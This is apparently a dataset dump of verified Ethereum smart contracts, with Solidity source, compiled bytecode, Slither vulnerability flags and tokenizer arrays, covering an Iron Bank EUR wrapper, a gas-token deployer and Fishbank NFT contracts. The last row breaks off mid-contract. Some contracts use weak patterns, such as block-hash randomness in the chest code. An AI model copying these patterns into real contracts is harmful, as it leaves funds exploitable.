Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,500
0x96e61422b6a9ba0e068b6c5add4ffabc6a4aae27
/** *Submitted for verification at FtmScan.com on 2021-07-19 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; interface ibToken { function mint(uint) external returns (uint); function redeemUnderlying(uint) external returns (uint); function exchangeRateStored() external view returns (uint); function balanceOf(address) external view returns (uint); } contract FixedEUR { string public constant name = "Iron Bank EUR"; string public constant symbol = "ibEUR"; uint8 public constant decimals = 18; ibToken public immutable ib; address public gov; address public nextgov; uint public commitgov; uint public constant delay = 1 days; uint public liquidity; constructor(ibToken _ib) { ib = _ib; gov = msg.sender; } modifier g() { require(msg.sender == gov); _; } function setGov(address _gov) external g { nextgov = _gov; commitgov = block.timestamp + delay; } function acceptGov() external { require(msg.sender == nextgov && commitgov < block.timestamp); gov = nextgov; } function balanceIB() public view returns (uint) { return ib.balanceOf(address(this)); } function balanceUnderlying() public view returns (uint) { uint256 _b = balanceIB(); if (_b > 0) { return _b * ib.exchangeRateStored() / 1e18; } return 0; } function _redeem(uint amount) internal { require(ib.redeemUnderlying(amount) == 0, "ib: withdraw failed"); } function profit() external { uint _profit = balanceUnderlying() - liquidity; _redeem(_profit); _transferTokens(address(this), gov, _profit); } function withdraw(uint amount) external g { liquidity -= amount; _redeem(amount); _burn(amount); } function deposit() external { uint _amount = balances[address(this)]; allowances[address(this)][address(ib)] = _amount; liquidity += _amount; require(ib.mint(_amount) == 0, "ib: supply failed"); } /// @notice Total number of tokens in circulation uint public totalSupply = 0; mapping(address => mapping (address => uint)) internal allowances; mapping(address => uint) internal balances; event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); function mint(uint amount) external g { // mint the amount totalSupply += amount; // transfer the amount to the recipient balances[address(this)] += amount; emit Transfer(address(0), address(this), amount); } function burn(uint amount) external g { _burn(amount); } function _burn(uint amount) internal { // burn the amount totalSupply -= amount; // transfer the amount from the recipient balances[address(this)] -= amount; emit Transfer(address(this), address(0), amount); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function balanceOf(address account) external view returns (uint) { return balances[account]; } function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != type(uint).max) { uint newAllowance = spenderAllowance - amount; allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { balances[src] -= amount; balances[dst] += amount; emit Transfer(src, dst, amount); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806366d16cc3116100c3578063a0712d681161007c578063a0712d6814610309578063a9059cbb1461031c578063cfad57a21461032f578063d0e30db014610342578063dd62ed3e1461034a578063f94e4e801461038357600080fd5b806366d16cc31461029a5780636a42b8f8146102a257806370a08231146102ac5780637bc6729b146102d55780638da876c9146102dd57806395d89b41146102e557600080fd5b80631f782287116101155780631f782287146102155780632196bcd71461023c57806323b872dd146102455780632e1a7d4d14610258578063313ce5671461026d57806342966c681461028757600080fd5b806306fdde031461015d578063095ea7b31461019f57806312d43a51146101c257806318160ddd146101ed5780631a686502146102045780631a7c25261461020d575b600080fd5b6101896040518060400160405280600d81526020016c24b937b7102130b7359022aaa960991b81525081565b6040516101969190610c47565b60405180910390f35b6101b26101ad366004610beb565b610396565b6040519015158152602001610196565b6000546101d5906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b6101f660045481565b604051908152602001610196565b6101f660035481565b6101f6610402565b6101d57f00000000000000000000000000e5c0774a5f065c285068170b20393925c84bf381565b6101f660025481565b6101b2610253366004610baf565b6104a1565b61026b610266366004610c15565b610568565b005b610275601281565b60405160ff9091168152602001610196565b61026b610295366004610c15565b6105ac565b61026b6105c3565b6101f66201518081565b6101f66102ba366004610b5a565b6001600160a01b031660009081526006602052604090205490565b61026b6105fd565b6101f6610645565b6101896040518060400160405280600581526020016434b122aaa960d91b81525081565b61026b610317366004610c15565b610714565b6101b261032a366004610beb565b6107a2565b61026b61033d366004610b5a565b6107b8565b61026b6107fd565b6101f6610358366004610b7c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001546101d5906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103f19086815260200190565b60405180910390a350600192915050565b6040516370a0823160e01b81523060048201526000907f00000000000000000000000000e5c0774a5f065c285068170b20393925c84bf36001600160a01b0316906370a082319060240160206040518083038186803b15801561046457600080fd5b505afa158015610478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049c9190610c2e565b905090565b6001600160a01b0383166000818152600560209081526040808320338085529252822054919290919082148015906104db57506000198114155b156105515760006104ec8583610cf5565b6001600160a01b038881166000818152600560209081526040808320948916808452948252918290208590559051848152939450919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505b61055c868686610943565b50600195945050505050565b6000546001600160a01b0316331461057f57600080fd5b80600360008282546105919190610cf5565b909155506105a09050816109f1565b6105a981610ace565b50565b6000546001600160a01b031633146105a057600080fd5b60006003546105d0610645565b6105da9190610cf5565b90506105e5816109f1565b6000546105a99030906001600160a01b031683610943565b6001546001600160a01b031633148015610618575042600254105b61062157600080fd5b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600080610650610402565b9050801561070c57670de0b6b3a76400007f00000000000000000000000000e5c0774a5f065c285068170b20393925c84bf36001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ba57600080fd5b505afa1580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f29190610c2e565b6106fc9083610cd6565b6107069190610cb4565b91505090565b600091505090565b6000546001600160a01b0316331461072b57600080fd5b806004600082825461073d9190610c9c565b90915550503060009081526006602052604081208054839290610761908490610c9c565b909155505060405181815230906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60006107af338484610943565b50600192915050565b6000546001600160a01b031633146107cf57600080fd5b600180546001600160a01b0319166001600160a01b0383161790556107f76201518042610c9c565b60025550565b30600090815260066020908152604080832054600583528184207f00000000000000000000000000e5c0774a5f065c285068170b20393925c84bf36001600160a01b031685529092528220819055600380549192839261085e908490610c9c565b909155505060405163140e25ad60e31b8152600481018290527f00000000000000000000000000e5c0774a5f065c285068170b20393925c84bf36001600160a01b03169063a0712d6890602401602060405180830381600087803b1580156108c557600080fd5b505af11580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd9190610c2e565b156105a95760405162461bcd60e51b81526020600482015260116024820152701a588e881cdd5c1c1b1e4819985a5b1959607a1b60448201526064015b60405180910390fd5b6001600160a01b0383166000908152600660205260408120805483929061096b908490610cf5565b90915550506001600160a01b03821660009081526006602052604081208054839290610998908490610c9c565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109e491815260200190565b60405180910390a3505050565b60405163852a12e360e01b8152600481018290527f00000000000000000000000000e5c0774a5f065c285068170b20393925c84bf36001600160a01b03169063852a12e390602401602060405180830381600087803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8b9190610c2e565b156105a95760405162461bcd60e51b81526020600482015260136024820152721a588e881dda5d1a191c985dc819985a5b1959606a1b604482015260640161093a565b8060046000828254610ae09190610cf5565b90915550503060009081526006602052604081208054839290610b04908490610cf5565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610797565b80356001600160a01b0381168114610b5557600080fd5b919050565b600060208284031215610b6c57600080fd5b610b7582610b3e565b9392505050565b60008060408385031215610b8f57600080fd5b610b9883610b3e565b9150610ba660208401610b3e565b90509250929050565b600080600060608486031215610bc457600080fd5b610bcd84610b3e565b9250610bdb60208501610b3e565b9150604084013590509250925092565b60008060408385031215610bfe57600080fd5b610c0783610b3e565b946020939093013593505050565b600060208284031215610c2757600080fd5b5035919050565b600060208284031215610c4057600080fd5b5051919050565b600060208083528351808285015260005b81811015610c7457858101830151858201604001528201610c58565b81811115610c86576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610caf57610caf610d0c565b500190565b600082610cd157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610cf057610cf0610d0c565b500290565b600082821015610d0757610d07610d0c565b500390565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220ca4cc646b77890e7c2e39d04d15a35d73287ebbde6140fd75bc743b4e42d8bf264736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2575, 16932, 19317, 2497, 2575, 2050, 2683, 3676, 2692, 2063, 2692, 2575, 2620, 2497, 2575, 2278, 2629, 4215, 2094, 2549, 20961, 9818, 2575, 2050, 2549, 11057, 2063, 22907, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 3027, 5244, 9336, 1012, 4012, 2006, 25682, 1011, 5718, 1011, 2539, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 8278, 21307, 18715, 2368, 1063, 3853, 12927, 1006, 21318, 3372, 1007, 6327, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 2417, 21564, 20824, 2135, 2075, 1006, 21318, 3372, 1007, 6327, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 3863, 20370, 19277, 2094, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,501
0x96e656e6031184F5b72cE10cf63F9f929E69f00D
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IFreeFromUpTo.sol"; /** * @dev the gsve deployer has two purposes * it deploys gsve smart wrappers, keeping track of the owners * it allows users to deploy smart contracts using create and create2 */ contract GSVEDeployer is Ownable{ mapping(address => uint256) private _compatibleGasTokens; mapping(address => uint256) private _freeUpValue; constructor (address wchi, address wgst2, address wgst1) public { _compatibleGasTokens[wchi] = 1; _freeUpValue[wchi] = 30053; _compatibleGasTokens[wgst2] = 1; _freeUpValue[wgst2] = 30870; _compatibleGasTokens[wgst1] = 1; _freeUpValue[wgst1] = 20046; } /** * @dev add support for trusted gas tokens - those we wrapped */ function addGasToken(address gasToken, uint256 freeUpValue) public onlyOwner{ _compatibleGasTokens[gasToken] = 1; _freeUpValue[gasToken] = freeUpValue; } /** * @dev function to check if a gas token is supported by the deployer */ function compatibleGasToken(address gasToken) public view returns(uint256){ return _compatibleGasTokens[gasToken]; } /** * @dev GSVE moddifier that burns supported gas tokens around a function that uses gas * the function calculates the optimal number of tokens to burn, based on the token specified */ modifier discountGas(address gasToken) { if(gasToken != address(0)){ require(_compatibleGasTokens[gasToken] == 1, "GSVE: incompatible token"); uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; IFreeFromUpTo(gasToken).freeFromUpTo(msg.sender, (gasSpent + 16000) / _freeUpValue[gasToken]); } else{ _; } } /** * @dev deploys a smart contract using the create function * if the contract is ownable, the contract ownership is passed to the message sender * the gas token passed in as argument is burned by the moddifier */ function GsveDeploy(bytes memory data, address gasToken) public discountGas(gasToken) returns(address contractAddress) { assembly { contractAddress := create(0, add(data, 32), mload(data)) } try Ownable(contractAddress).transferOwnership(msg.sender){ emit ContractDeployed(msg.sender, contractAddress); } catch{ emit ContractDeployed(msg.sender, contractAddress); } } /** * @dev deploys a smart contract using the create2 function and a user provided salt * if the contract is ownable, the contract ownership is passed to the message sender * the gas token passed in as argument is burned by the moddifier */ function GsveDeploy2(uint256 salt, bytes memory data, address gasToken) public discountGas(gasToken) returns(address contractAddress) { assembly { contractAddress := create2(0, add(data, 32), mload(data), salt) } try Ownable(contractAddress).transferOwnership(msg.sender){ emit ContractDeployed(msg.sender, contractAddress); } catch{ emit ContractDeployed(msg.sender, contractAddress); } } event ContractDeployed(address indexed creator, address deploymentAddress); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev interface to allow the burning of gas tokens from an address */ interface IFreeFromUpTo { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b506004361061007c5760003560e01c80638da5cb5b1161005b5780638da5cb5b146100ce5780638e13fd78146100df578063d1aa693d14610116578063f2fde38b1461012957600080fd5b8062e3560214610081578063488f746314610096578063715018a6146100c6575b600080fd5b61009461008f36600461099f565b61013c565b005b6100a96100a43660046109c8565b610198565b6040516001600160a01b0390911681526020015b60405180910390f35b610094610489565b6000546001600160a01b03166100a9565b6101086100ed36600461097e565b6001600160a01b031660009081526001602052604090205490565b6040519081526020016100bd565b6100a9610124366004610a2c565b6104fd565b61009461013736600461097e565b6107f1565b6000546001600160a01b0316331461016f5760405162461bcd60e51b815260040161016690610a81565b60405180910390fd5b6001600160a01b0390911660009081526001602081815260408084209290925560029052902055565b6000816001600160a01b038116156103c2576001600160a01b0381166000908152600160208190526040909120541461020e5760405162461bcd60e51b815260206004820152601860248201527723a9ab229d1034b731b7b6b830ba34b13632903a37b5b2b760411b6044820152606401610166565b60005a90508451602086016000f060405163f2fde38b60e01b81523360048201529093506001600160a01b0384169063f2fde38b90602401600060405180830381600087803b15801561026057600080fd5b505af1925050508015610271575060015b6102a6576040516001600160a01b03841681523390600080516020610b518339815191529060200160405180910390a26102d3565b6040516001600160a01b03841681523390600080516020610b518339815191529060200160405180910390a25b60006102e0366010610aee565b5a6102ed84615208610ab6565b6102f79190610b0d565b6103019190610ab6565b6001600160a01b0384166000818152600260205260409020549192509063079d229f90339061033285613e80610ab6565b61033c9190610ace565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561038257600080fd5b505af1158015610396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ba9190610a14565b505050610482565b8351602085016000f060405163f2fde38b60e01b81523360048201529092506001600160a01b0383169063f2fde38b90602401600060405180830381600087803b15801561040f57600080fd5b505af1925050508015610420575060015b610455576040516001600160a01b03831681523390600080516020610b518339815191529060200160405180910390a2610482565b6040516001600160a01b03831681523390600080516020610b518339815191529060200160405180910390a25b5092915050565b6000546001600160a01b031633146104b35760405162461bcd60e51b815260040161016690610a81565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000816001600160a01b03811615610728576001600160a01b038116600090815260016020819052604090912054146105735760405162461bcd60e51b815260206004820152601860248201527723a9ab229d1034b731b7b6b830ba34b13632903a37b5b2b760411b6044820152606401610166565b60005a9050858551602087016000f560405163f2fde38b60e01b81523360048201529093506001600160a01b0384169063f2fde38b90602401600060405180830381600087803b1580156105c657600080fd5b505af19250505080156105d7575060015b61060c576040516001600160a01b03841681523390600080516020610b518339815191529060200160405180910390a2610639565b6040516001600160a01b03841681523390600080516020610b518339815191529060200160405180910390a25b6000610646366010610aee565b5a61065384615208610ab6565b61065d9190610b0d565b6106679190610ab6565b6001600160a01b0384166000818152600260205260409020549192509063079d229f90339061069885613e80610ab6565b6106a29190610ace565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156106e857600080fd5b505af11580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107209190610a14565b5050506107e9565b848451602086016000f560405163f2fde38b60e01b81523360048201529092506001600160a01b0383169063f2fde38b90602401600060405180830381600087803b15801561077657600080fd5b505af1925050508015610787575060015b6107bc576040516001600160a01b03831681523390600080516020610b518339815191529060200160405180910390a26107e9565b6040516001600160a01b03831681523390600080516020610b518339815191529060200160405180910390a25b509392505050565b6000546001600160a01b0316331461081b5760405162461bcd60e51b815260040161016690610a81565b6001600160a01b0381166108805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610166565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b03811681146108f257600080fd5b919050565b600082601f830112610907578081fd5b813567ffffffffffffffff8082111561092257610922610b3a565b604051601f8301601f19908116603f0116810190828211818310171561094a5761094a610b3a565b81604052838152866020858801011115610962578485fd5b8360208701602083013792830160200193909352509392505050565b60006020828403121561098f578081fd5b610998826108db565b9392505050565b600080604083850312156109b1578081fd5b6109ba836108db565b946020939093013593505050565b600080604083850312156109da578182fd5b823567ffffffffffffffff8111156109f0578283fd5b6109fc858286016108f7565b925050610a0b602084016108db565b90509250929050565b600060208284031215610a25578081fd5b5051919050565b600080600060608486031215610a40578081fd5b83359250602084013567ffffffffffffffff811115610a5d578182fd5b610a69868287016108f7565b925050610a78604085016108db565b90509250925092565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610ac957610ac9610b24565b500190565b600082610ae957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610b0857610b08610b24565b500290565b600082821015610b1f57610b1f610b24565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfe33c981baba081f8fd2c52ac6ad1ea95b6814b4376640f55689051f6584729688a2646970667358221220c08324d859564920eaf469ab34e531fee693b0487ba0c4f310a20ccf8c9100c664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 26187, 2575, 2063, 16086, 21486, 15136, 2549, 2546, 2629, 2497, 2581, 2475, 3401, 10790, 2278, 2546, 2575, 2509, 2546, 2683, 2546, 2683, 24594, 2063, 2575, 2683, 2546, 8889, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2065, 9910, 19699, 5358, 29441, 2080, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 28177, 3726, 21296, 2121, 2038, 2048, 5682, 1008, 2009, 21296, 2015, 28177, 3726, 6047, 10236, 7347, 1010, 4363, 2650, 1997, 1996, 5608, 1008, 2009, 4473, 5198, 2000, 21296, 6047, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,502
0x96e666c387b1d25b490a33cdb5a32b8a1f91d3b6
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract FishbankBoosters is Ownable { struct Booster { address owner; uint32 duration; uint8 boosterType; uint24 raiseValue; uint8 strength; uint32 amount; } Booster[] public boosters; bool public implementsERC721 = true; string public name = "Fishbank Boosters"; string public symbol = "FISHB"; mapping(uint256 => address) public approved; mapping(address => uint256) public balances; address public fishbank; address public chests; address public auction; modifier onlyBoosterOwner(uint256 _tokenId) { require(boosters[_tokenId].owner == msg.sender); _; } modifier onlyChest() { require(chests == msg.sender); _; } function FishbankBoosters() public { //nothing yet } //mints the boosters can only be called by owner. could be a smart contract function mintBooster(address _owner, uint32 _duration, uint8 _type, uint8 _strength, uint32 _amount, uint24 _raiseValue) onlyChest public { boosters.length ++; Booster storage tempBooster = boosters[boosters.length - 1]; tempBooster.owner = _owner; tempBooster.duration = _duration; tempBooster.boosterType = _type; tempBooster.strength = _strength; tempBooster.amount = _amount; tempBooster.raiseValue = _raiseValue; Transfer(address(0), _owner, boosters.length - 1); } function setFishbank(address _fishbank) onlyOwner public { fishbank = _fishbank; } function setChests(address _chests) onlyOwner public { if (chests != address(0)) { revert(); } chests = _chests; } function setAuction(address _auction) onlyOwner public { auction = _auction; } function getBoosterType(uint256 _tokenId) view public returns (uint8 boosterType) { boosterType = boosters[_tokenId].boosterType; } function getBoosterAmount(uint256 _tokenId) view public returns (uint32 boosterAmount) { boosterAmount = boosters[_tokenId].amount; } function getBoosterDuration(uint256 _tokenId) view public returns (uint32) { if (boosters[_tokenId].boosterType == 4 || boosters[_tokenId].boosterType == 2) { return boosters[_tokenId].duration + boosters[_tokenId].raiseValue * 60; } return boosters[_tokenId].duration; } function getBoosterStrength(uint256 _tokenId) view public returns (uint8 strength) { strength = boosters[_tokenId].strength; } function getBoosterRaiseValue(uint256 _tokenId) view public returns (uint24 raiseValue) { raiseValue = boosters[_tokenId].raiseValue; } //ERC721 functionality //could split this to a different contract but doesn't make it easier to read event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); function totalSupply() public view returns (uint256 total) { total = boosters.length; } function balanceOf(address _owner) public view returns (uint256 balance){ balance = balances[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address owner){ owner = boosters[_tokenId].owner; } function _transfer(address _from, address _to, uint256 _tokenId) internal { require(boosters[_tokenId].owner == _from); //can only transfer if previous owner equals from boosters[_tokenId].owner = _to; approved[_tokenId] = address(0); //reset approved of fish on every transfer balances[_from] -= 1; //underflow can only happen on 0x balances[_to] += 1; //overflows only with very very large amounts of fish Transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public onlyBoosterOwner(_tokenId) //check if msg.sender is the owner of this fish returns (bool) { _transfer(msg.sender, _to, _tokenId); //after master modifier invoke internal transfer return true; } function approve(address _to, uint256 _tokenId) public onlyBoosterOwner(_tokenId) { approved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) { require(approved[_tokenId] == msg.sender || msg.sender == fishbank || msg.sender == auction); //require msg.sender to be approved for this token or to be the fishbank contract _transfer(_from, _to, _tokenId); //handles event, balances and approval reset return true; } function takeOwnership(uint256 _tokenId) public { require(approved[_tokenId] == msg.sender); _transfer(ownerOf(_tokenId), msg.sender, _tokenId); } } contract FishbankChests is Ownable { struct Chest { address owner; uint16 boosters; uint16 chestType; uint24 raiseChance;//Increace chance to catch bigger chest (1 = 1:10000) uint8 onlySpecificType; uint8 onlySpecificStrength; uint24 raiseStrength; } Chest[] public chests; FishbankBoosters public boosterContract; mapping(uint256 => address) public approved; mapping(address => uint256) public balances; mapping(address => bool) public minters; modifier onlyChestOwner(uint256 _tokenId) { require(chests[_tokenId].owner == msg.sender); _; } modifier onlyMinters() { require(minters[msg.sender]); _; } function FishbankChests(address _boosterAddress) public { boosterContract = FishbankBoosters(_boosterAddress); } function addMinter(address _minter) onlyOwner public { minters[_minter] = true; } function removeMinter(address _minter) onlyOwner public { minters[_minter] = false; } //create a chest function mintChest(address _owner, uint16 _boosters, uint24 _raiseStrength, uint24 _raiseChance, uint8 _onlySpecificType, uint8 _onlySpecificStrength) onlyMinters public { chests.length++; chests[chests.length - 1].owner = _owner; chests[chests.length - 1].boosters = _boosters; chests[chests.length - 1].raiseStrength = _raiseStrength; chests[chests.length - 1].raiseChance = _raiseChance; chests[chests.length - 1].onlySpecificType = _onlySpecificType; chests[chests.length - 1].onlySpecificStrength = _onlySpecificStrength; Transfer(address(0), _owner, chests.length - 1); } function convertChest(uint256 _tokenId) onlyChestOwner(_tokenId) public { Chest memory chest = chests[_tokenId]; uint16 numberOfBoosters = chest.boosters; if (chest.onlySpecificType != 0) {//Specific boosters if (chest.onlySpecificType == 1 || chest.onlySpecificType == 3) { boosterContract.mintBooster(msg.sender, 2 days, chest.onlySpecificType, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength); } else if (chest.onlySpecificType == 5) {//Instant attack boosterContract.mintBooster(msg.sender, 0, 5, 1, chest.boosters, chest.raiseStrength); } else if (chest.onlySpecificType == 2) {//Freeze uint32 freezeTime = 7 days; if (chest.onlySpecificStrength == 2) { freezeTime = 14 days; } else if (chest.onlySpecificStrength == 3) { freezeTime = 30 days; } boosterContract.mintBooster(msg.sender, freezeTime, 5, chest.onlySpecificType, chest.boosters, chest.raiseStrength); } else if (chest.onlySpecificType == 4) {//Watch uint32 watchTime = 12 hours; if (chest.onlySpecificStrength == 2) { watchTime = 48 hours; } else if (chest.onlySpecificStrength == 3) { watchTime = 3 days; } boosterContract.mintBooster(msg.sender, watchTime, 4, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength); } } else {//Regular chest for (uint8 i = 0; i < numberOfBoosters; i ++) { uint24 random = uint16(keccak256(block.coinbase, block.blockhash(block.number - 1), i, chests.length)) % 1000 - chest.raiseChance; //get random 0 - 9999 minus raiseChance if (random > 850) { boosterContract.mintBooster(msg.sender, 2 days, 1, 1, 1, chest.raiseStrength); //Small Agility Booster } else if (random > 